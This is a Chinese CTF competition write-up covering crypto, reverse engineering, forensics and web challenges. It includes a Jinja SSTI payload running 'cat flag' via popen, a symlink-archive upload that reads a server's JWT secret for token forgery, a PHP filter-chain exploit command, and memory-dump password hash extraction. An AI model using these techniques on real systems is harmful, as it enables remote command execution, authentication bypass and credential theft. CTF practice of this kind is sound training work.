[简单算术]
题目提到了异或,那我们通过将每个字符与密钥31进行异或操作,将加密后的字符串转换回原始的明文字符串,简单可秒。
定义密文
ciphertext = "ys\~xdg/m@]mjkz@vl@z\~lf>b"
初始化解密后的字符串
decrypted_text = ""
遍历密文进行异或操作
for char in ciphertext:
decrypted_char = chr(ord(char) ^ 31)
decrypted_text += decrypted_char
输出结果
print(decrypted_text)
得到flag{x0r_Brute_is_easy!}
[WEB-Gotar]

注册登录后有一个文件上传的功能

上传不受身份限制,查看flag文件无权限(应该是需要admin超级管理员身份)
审了下源码,身份鉴权是通过JWT

那么肯定是需要JWT伪造,进一步来说需要得到JWT密钥。
审计半天无人问,一朝软链出flag
思路是上传文件时候上传带有软连接的tar包,访问上传的文件相当于访问软连接的目录,就可以读出存储JWT密钥的.env文件
beginCTF-2024遇到过
bash命令ln -s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。
创建软连接压缩包(--symlinks表示压缩软连接 )
ln -s /flag myflag
zip --symlink 1.zip myflag
此外,如果上传目录是访问不到的,也可以用软连接,参考2023国赛。
生成tar包上传

访问路由/assets/extracted/2/222/
在app目录下得到环境变量文件,得到密钥

伪造"UserID": 1,

获得权限下载flag

flag{e75d1164-d808-4927-8b23-48f570770d9d}
[通往哈希]
使用hashcat爆破,Kali上自带,爆破很慢,等一会出flag,可秒。
hashcat -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
-m指定SHA1,-a 3指定暴力破解
得到flag{18876011645}
flask
题目说了是flask,直接构造Pyload访问地址:
?user={{%27%27.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[%27popen%27](%27cat%20flag%27).read()}}
bases[0]:获取str类的基类,subclasses()[133]:获取object类的所有子类,并选择第134个子类(索引从0开始)。('cat flag'):调用popen函数并传递catflag命令。通过SSTI漏洞执行系统命令cat flag,并将其输出作为模板渲染的一部分返回,从而泄露flag文件的内容。

[小哈斯]
import string
from hashlib import sha1
定义包含多个 SHA1 哈希值的列表
hash_list = """zheli""".split("\n")
print("Hash List:", hash_list)
定义可打印字符集
chars = string.printable
初始化破解后的字符串
decrypted_text = ""
遍历每个哈希值
for hash_value in hash_list:
遍历每个可打印字符,尝试找到匹配的明文字符
for char in chars:
if sha1(char.encode()).hexdigest() == hash_value:
decrypted_text += char
break
输出字符串
print("Decrypted Text:", decrypted_text)
得到flag{game_cqb_isis_cxyz}
[逆向ezgo]
第一步我们看见初始化函数里面有一个反调试和替换base码表

然后反调试和判断输入长度是否为4,分析这个逻辑

base64和两次 xor运算,进入下一步

最后XOR一下对zip解密即可

脚本如下
import base64
import string
from itertools import product
# 自定义Base64字符表
TABLE = [
1, 87, 44, 124, 199, 114, 32, 112, 165, 150, 33, 220, 168, 118, 105, 20, 197, 36, 37, 2, 183, 122, 252, 240, 196, 73,
86, 194, 193, 149, 236, 38, 204, 247, 255, 115, 225, 63, 132, 70, 169, 249, 61, 14, 69, 241, 218, 146, 206, 59, 60, 160,
22, 188, 45, 189, 164, 50, 144, 98, 157, 12, 222, 173, 64, 207, 75, 77, 110, 121, 200, 133, 210, 172, 153, 232, 30, 201,
212, 6, 52, 102, 184, 211, 19, 244, 66, 27, 99, 95, 130, 91, 145, 42, 51, 93, 185, 125, 213, 108, 13, 40, 8, 155, 24,
46, 162, 103, 90, 230, 138, 25, 80, 156, 177, 239, 31, 18, 186, 134, 131, 119, 96, 148, 253, 246, 84, 191, 161, 147, 3,
231, 88, 229, 154, 127, 34, 190, 217, 56, 39, 101, 215, 35, 251, 113, 250, 143, 245, 109, 81, 158, 214, 139, 137, 17,
202, 15, 142, 203, 179, 187, 242, 135, 117, 92, 47, 152, 43, 28, 180, 198, 10, 76, 54, 26, 21, 136, 29, 228, 195, 151,
83, 48, 74, 58, 181, 97, 85, 192, 167, 219, 41, 104, 226, 224, 16, 9, 65, 49, 243, 175, 182, 106, 111, 0, 5, 11, 227,
209, 141, 71, 116, 120, 123, 100, 221, 171, 176, 57, 55, 254, 237, 82, 205, 129, 248, 170, 72, 107, 208, 235, 140, 68,
89, 23, 159, 79, 178, 53, 163, 126, 238, 78, 223, 233, 7, 67, 166, 174, 216, 234, 128, 62, 4, 94
]
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
B = "TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ENCODE_MAP = str.maketrans(A, B)
DECODE_MAP = str.maketrans(B, A)
def get_xor_masks():
"""返回用于异或操作的掩码列表"""
return [0xc, 2, 2, 5, 5, 2, 2]
def encode_custom_base64(input_data):
"""使用自定义Base64字符表对输入数据进行编码"""
if isinstance(input_data, str):
input_data = input_data.encode('utf-8')
# 标准 Base64 编码
standard_base64 = base64.b64encode(input_data).decode('utf-8')
# 使用自定义字符表替换
custom_base64 = standard_base64.translate(ENCODE_MAP)
# 计算填充符号
padding_count = custom_base64.count("=")
# 生成掩码
masks = get_xor_masks()
result = []
# 对非填充字符进行异或操作
for i in range(len(custom_base64) - padding_count):
result.append(ord(custom_base64[i]) ^ masks[0])
# 对填充符号进行处理
result.extend([0x3D] * padding_count)
# 进行位置异或
for i, mask in zip([0, 2, 3, 4, 5, 7], masks[1:]):
result[i] ^= mask
return result
def decrypt_data(data_buffer, key):
"""对加密数据进行解密"""
for i in range(4):
if data_buffer[i] != 0:
offset = i % 8
temp = key[offset] ^ TABLE[key[offset]]
data_buffer[i] = temp ^ data_buffer[i] ^ key[(i % 2) + 4]
return data_buffer
def find_key():
"""尝试找到正确的密钥"""
char_set = string.ascii_letters + "0123456789"
for candidate in product(char_set, repeat=4):
candidate_str = "".join(candidate)
encrypted_data = b'\x0e\xe1\xe5\xf9'
data_buffer = bytearray(encrypted_data)
# 编码候选密钥
key = encode_custom_base64(candidate_str)
# 解密数据
decrypted_data = decrypt_data(data_buffer, key)
# 判断解密结果是否为有效的ZIP文件标志
if b"PK\x03\x04" in decrypted_data[:4]:
print(candidate_str)
if __name__ == '__main__':
find_key()
[压力大写个脚本]
先写脚本解压嵌套压缩包,用上一层的password.txt 解密base后的结果当作解压密码,
import os
import base64
import zipfile
获取当前工作目录
current_dir = os.getcwd()
遍历密码文件和压缩文件,从99到1
for i in range(99, 0, -1):
password_file = os.path.join(current_dir, f"password_{i}.txt")
zip_file = os.path.join(current_dir, f"zip_{i}.zip")
# 读取并解码密码
with open(password_file) as f:
password = base64.b64decode(f.read().strip()).decode("utf-8")
# 解压缩文件
with zipfile.ZipFile(zip_file) as zf:
zf.extractall(path=current_dir, pwd=password.encode())
0号压缩包说是password+password.png,然后0号压缩包里面的数据又是89504e47,所以怀疑所有的压缩密码连在一块就是一个png
将解压出来的pass进行合并,解码
import base64
合并后的文件
output_file = 'merged_passwords.txt'
try:
with open(output_file, 'wb') as output_f:
for i in range(100):
input_file = f'password_{i}.txt'
try:
with open(input_file, 'r') as file:
encoded_content = file.read().strip() # 读取并去除多余空白
# 解码
decoded_content = base64.b64decode(encoded_content)
# 将解码后的内容写入合并文件
output_f.write(decoded_content)
except FileNotFoundError:
print(f"文件 {input_file} 未找到,跳过该文件。")
except Exception as e:
print(f"处理文件 {input_file} 时发生错误: {e}")
print(f'所有密码已合并并保存为 {output_file}')
except Exception as e:
print(f"文件合并过程中发生了错误: {e}")
然后解码,删掉后面的一串fg,即可得到二维码


[镜像]
打开发现是个大白鲨图标,直接过滤http包,导出后

发现是一个Zip文件,解压可以得到img文件。
用R-studio,题目已经提示了
然后点击文件恢复选择镜像

看到flag

flag{E7A10C15E26AA5750070EF756AAA1F7C}
[RSA1]
Flag是flag加上uuid,再加上一组二进制字符串,这个二进制字符串是由flag产生的。m1和m2的生成,可以猜出m1和m2之间有一定的关系。通过计算可以知道m1等于m2加上
138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867。
from Crypto.Util.number import *
from random import *
import uuid
生成随机密钥
secret_key = b'key{' + str(uuid.uuid4()).encode() + b'}'
补充密钥长度至 1024 位
secret_key += bin(getPrime((1024 - bytes_to_long(secret_key).bit_length()) // 8)).encode()
计算 key1 和 key2 的值
key1 = bytes_to_long(secret_key)
key2 = bytes_to_long(''.join(chr((ord(char) + 3) % 128) for char in secret_key.decode()).encode())
输出结果
print(key2 - key1)
138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
由m1m2可以想到相关消息攻击。
c1=(m1e)^2835
c2=m2^2025
c3=m2^2835+e
相关消息攻击,加密指数要相同,所以利用c1,c3,但是e是一个随机数,并且很大,不容易爆破,
所以先利用c2,求得e
c2,c3用两个未知数,先消去m2,计算出最小公倍数
$$gcd(2025,2835)=405$$
20252835//405即最小公倍数,让m2的次方达到最小公倍数,通过两式相减消除m2
得到
$$c2^{(20252835//405//2025)} =(c3-e)^{20252835//405//2835} \mod N$$
sage small_roots求根
from Crypto.Util.number import *
定义模数 N
modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
定义密文 c1, c2, c3
cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
固定差值
fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
求根
P.<x> = PolynomialRing(Zmod(modulus))
poly_eq = (cipher3 - x)**(2025*2835//405//2835) - pow(cipher2,2025*2835//405//2025, modulus)
poly_eq=poly_eq.monic()
poly_eq.small_roots(2**128, beta=1, epsilon=0.05)
最终通过计算得到:
[281211879955223558268422413173406510291] 即e e.nbits()=128
求出e便可以确认(m1e)和m2之间的具体关系了
设m1=x,则
M1=ex M2=m1+138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
可设多项式
F1=(ex)^2835-c1
F2=(x1+number)^2835+e-c3
m1>N,求出来的m不完整需要加上kN
half gcd Implementations/Half_GCD/code.sage at main · rkm0959/Implementations · GitHub
import sys
from Crypto.Util.number import *
modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
e=281211879955223558268422413173406510291
P.<x> = PolynomialRing(Zmod(modulus))
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11
def GCD(a, b):
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
sys.setrecursionlimit(500000)
ee=2835
f1 = (e*x)^ee- cipher1
f2 = (x+fixed_difference)^ee + e -cipher3
temp=GCD(f1, f2)
m1 = int(-temp.monic().coefficients()[0])
for k in range(1000000):
m=long_to_bytes(m1+k*modulus)
if b"flag" in m:
print(m)
print(k)
break
找到k=26649
m=k*N+m1
b'flag{2404dcef-4223-417d-aee0-c236241f2320}0b10110001011010011001000000011011110111111100010110000111000000100100000100011101100011'
[file_copy]
https://github.com/synacktiv/php_filter_chains_oracle_exploit?tab=readme-ov-file
github上有攻击脚本
执行下面的
python3 filters_chain_oracle_exploit.py --target [主机url] --file '/flag' --parameter path
就可得到flag
[Ez_forensics]
先用r-studio看一下文件结构 发现一个压缩包还有个提示文件

给了60 猜测是13+47 Rot13+rot47解密

知道压缩包的密码是windows用户密码 用volatility来提取
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Flu0r1n3:1000:aad3b435b51404eeaad3b435b51404ee:15245efa2af8a339c15ed8e658911844:::
Cmd5解密

再用volatility提取压缩包
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 filescan | findstr "f14g.7z"
Volatility Foundation Volatility Framework 2.6
0x000000003eb51d00 16 0 -W---- \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z
.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eb51d00 -D "G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics"
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3eb51d00 None \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z
用上面的密码解压压缩包 得到hint和一个ini配置文件
一眼MobaXterm解密

找个项目解密
python .\MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL in cmd at 18:38:28
flag{eW91X2FyZV9hX2cwMGRfZ3V5}
再解一次base64








这一切,似未曾拥有